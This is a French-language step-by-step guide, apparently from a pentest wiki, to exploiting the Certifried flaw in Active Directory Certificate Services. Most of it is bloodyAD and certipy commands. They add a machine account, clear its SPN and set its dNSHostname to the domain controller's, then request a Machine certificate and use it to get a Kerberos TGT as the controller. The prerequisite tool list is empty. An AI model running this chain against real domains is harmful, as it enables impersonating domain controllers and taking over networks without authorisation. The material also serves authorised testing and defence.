Exploiter Certifried
Prérequis
Certains outils sont requis pour exploiter Certifried :
Etapes d’exploitations
Ajout d’une nouvelle machine
Dans un premier temps, il faut s’assurer que l’on peut ajouter des objets “ordinateur” au domaine. Par défaut, il est possible d’en ajouter 10 par utilisateur.
./bloodyAD.py -d $DOMAIN -u $USER -p $PASS --host $DC_IP getObjectAttributes "DC=$DOMAIN,DC=local" ms-DS-MachineAccountQuota
Si c’est possible, alors il faut ajouter un nouvel ordinateur avec bloodyAD
:
./bloodyAD.py -d $DOMAIN -u $USER -p $PASS --host $DC_IP addComputer $COMPUTER_NAME $COMPUTER_PASSWORD
Modifier les attributs
Il faut ensuite purger l’attribut serviceprinciplename
de ce tout nouveau compte machine :
./bloodyAD.py -d $DOMAIN -u $USER -p $PASS --host $DC_IP setAttribute "CN=$COMPUTER_NAME,CN=Computers,DC=$DOMAIN,DC=local" serviceprincipalname '[]'
Puis configurer l’attribut dNSHostname
de cette nouvelle machine afin qu’il corresponde à celui du controleur de domaine.
./bloodyAD.py -d $DOMAIN -u $USER -p $PASS --host $DC_IP setAttribute "CN=$COMPUTER_NAME,CN=Computers,DC=$DOMAIN,DC=local" dNSHostname '["$DC_FQDN"]'
Demander un certificat
Avec certipy
, demander un certificat avec le template “Machine” pour cet ordinateur.
certipy req "$DOMAIN/$COMPUTER_NAME:$COMPUTER_PASS@$ADCS_IP" -template Machine -dc-ip $DC_ip -ca $CA_NAME
Un fichier .pfx
vient alors d’être créé. Il faut maintenant demander un TGT grâce à l’authentification Kerberos (PKINIT) en utilisant ce certificat :
certipy auth -pfx $PFX_FILE -dc-ip $DC_IP
Si tout a fonctionné normalement, il est possible d’effectuer une authentification Kerberos avec le fichier .ccache tout juste généré : [Authentification Kerberos].